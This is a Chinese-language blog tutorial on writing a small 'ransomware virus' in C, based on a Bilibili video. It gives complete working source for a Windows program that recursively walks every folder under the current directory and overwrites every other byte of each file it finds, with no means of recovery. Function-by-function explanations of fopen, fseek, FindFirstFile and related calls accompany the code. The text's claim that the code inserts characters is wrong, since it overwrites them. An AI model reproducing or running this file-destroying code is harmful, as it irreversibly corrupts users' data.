用c写一个小勒索病毒(用B站来学习)

前言:

这里是根据B站上的一个视频,看着教学写的,一下是我对代码的分块解析记录,方便想入门写病毒和反病毒小工具的人学习。

准备

vc++2013
b站学习视频

新建项目

我就是一开始新建项目都不清楚,原来一直用devc++

用c写一个小勒索病毒(用B站来学习)_第1张图片
image.png

需要注意的是这里的配置


用c写一个小勒索病毒(用B站来学习)_第2张图片
配置2

代码编写部分

1.思路

1>遍历指定目录或当前目录下所有文件(这里用到了递归查询)
2>对指定文件加密

2.对单个文件进行加密

如何对文件加密,那个老师讲的是方式比较好理解,直接对每个字节后面插入一个字符
如果是英文的话就比较好发现了,但是如果对图片和别的文件进行加密,直接就破坏了文件结构。
比起 python的直接调用库,c的缺点就是需要你自己去做,比如打开文件,对文件进行写入操作,需要判断光标的位置,需要一步步去加密,通过写这个程序,自己相应的也会了解到c的魅力。
想起以前做一个qq弹框的时候,内心想的就是抓取这个页面,不断修改在窗口的位置,如果是python,则意味着你可能不懂真正的原理,也就c能让你体验一把这种真正去控制window的瘾。

加密函数

//这里是加密函数,文件加密方式只要你懂if,else,就会知道大概流程

void jiami(char* fileName){
    //1 打开文件
    FILE* fp = NULL; //文件指针
    fp=fopen(fileName,"r+");  //文件名 文件打开方式
    if (NULL == fp){
        printf("打开文件失败!\n");
        return;
    } 
    printf("打开%s文件成功!\n",fileName);

    //2 拿到文件大小

    //2.1 设置光标(文件内容指针) 到文件末尾
    fseek(fp, 0, SEEK_END);
    //2.2 计算光标位置距离文件头有多少字节 
    int size = ftell(fp);
    //2.3 设置光标位置到文件头
    fseek(fp, 0, SEEK_SET);
    printf("文件大小为: %d字节!\n",size);
    //3 每隔一个字节插入一个字节
    char code = 'a';
    for (int i = 0; i < size; i++){
        //写入1字节
        fwrite(&code, 1, 1, fp);

        //把光标往后走一个字节
        fseek(fp, 1, SEEK_CUR);
    }
    //4 保存关闭
    fclose(fp);
}

相关函数解释

#fseek
功能:把与fp有关的文件位置指针放到一个指定位置。

格式:  int fseek(FILE *stream, long offset, int fromwhere);
范例一:fseek(fp, 0L, SEEK_END);
解释:文件指针定位到文件末尾,偏移0个字节
范例二:  fseek(fp,50L,0);或fseek(fp,50L,SEEK_SET);

解释:其作用是将位置指针移到离文件头50个字节处。

#fopen
下面是 fopen() 函数的声明。

FILE *fopen(const char *filename, const char *mode)
参数
filename -- 这是 C 字符串,包含了要打开的文件名称。
mode -- 这是 C 字符串,包含了文件访问模式,模式如下:
模式  描述
"r"     打开一个用于读取的文件。该文件必须存在。
"w"     创建一个用于写入的空文件。如果文件名称与已存在的文件相同,则会删除已有文件的内容,文件被视为一个新的空文件。
"a"     追加到一个文件。写操作向文件末尾追加数据。如果文件不存在,则创建文件。
"r+"    打开一个用于更新的文件,可读取也可写入。该文件必须存在。
"w+"    创建一个用于读写的空文件。
"a+"    打开一个用于读取和追加的文件。

查找文件

这里并没有对特定文件夹进行递归查询,而是对当前目录进行递归查询
这里是通过通配符去找的,和正则一样

具体函数:

void findFile(char* pathName){
    //设置要找的文件名
    char findFileName[256];
    memset(findFileName, 0, 256); //清空数组
    sprintf(findFileName, "%s\\*.*", pathName);

    printf("要找的文件名是:%s\n", findFileName);

    //2 找这个要找的文件
    WIN32_FIND_DATA findData;
    HANDLE hFile = FindFirstFile(findFileName, &findData);
    if (INVALID_HANDLE_VALUE == hFile){
        printf("找文件失败!\n");
        return;
    }
    int ret = 1;
    char temp[256];
    while (ret){
                //这里是对findData的属性进行判断,判断是不是文件夹
        if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY){
                //因为window文件存在. 和.. ,这里要过滤完
            if (findData.cFileName[0] != '.'){
                memset(temp, 0, 256);
                sprintf(temp, "%s\\%s", pathName, findData.cFileName);
                printf("找到一个文件夹: %s\n", temp);
                //Sleep(1000);
                findFile(temp);
            }


        }
        else{
            memset(temp, 0, 256);
            sprintf(temp, "%s\\%s", pathName, findData.cFileName);
            printf("找到一个文件:%s\n", temp);
            //加密这个文件
            jiami(temp);

        }
        ret = FindNextFile(hFile, &findData);

    }
}

相关函数解释

#memset()
memset() 的作用是在一段内存块中填充某个给定的值。因为它只能填充一个值,
所以该函数的初始化为原始初始化,无法将变量初始化为程序中需要的数据。
用memset初始化完后,后面程序中再向该内存空间中存放需要的数据。
#sprintf()
int sprintf(char *str, const char *format, ...)
参数
str -- 这是指向一个字符数组的指针,该数组存储了 C 字符串。
format -- 这是字符串,包含了要被写入到字符串 str 的文本。
它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,
并按需求进行格式化。format 标签属性是 %[flags][width][.precision][length]specifier
#WIN32_FIND_DATA findData;  这里调用win32
#HANDLE hFile = FindFirstFile(findFileName, &findData);
这里是调用的windows.h,来执行的
通过判断hFile的值来判断传入的findFileName是文件还是文件夹
#findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY
这里是对findData的属性进行判断,判断是不是文件夹

主函数

// file_encode.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include 
#include 

//加密filename这个文件
void jiami(char* fileName);

//遍历文件夹并找到每一个文件
void findFile(char* pathName);

int _tmain(int argc, _TCHAR* argv[])
{
    //jiami("1.txt");
    char buff[256]= { 0 };  //2^8
    GetCurrentDirectory(256,buff);

    //printf("文件夹名字是: %s\n", buff);
    findFile(buff);
    while (1);
    return 0;
}

总结:

要自己多动手,才能有收获,同时要多分享,才能get更多姿势。


用c写一个小勒索病毒(用B站来学习)_第3张图片
费娘

你可能感兴趣的:(用c写一个小勒索病毒(用B站来学习))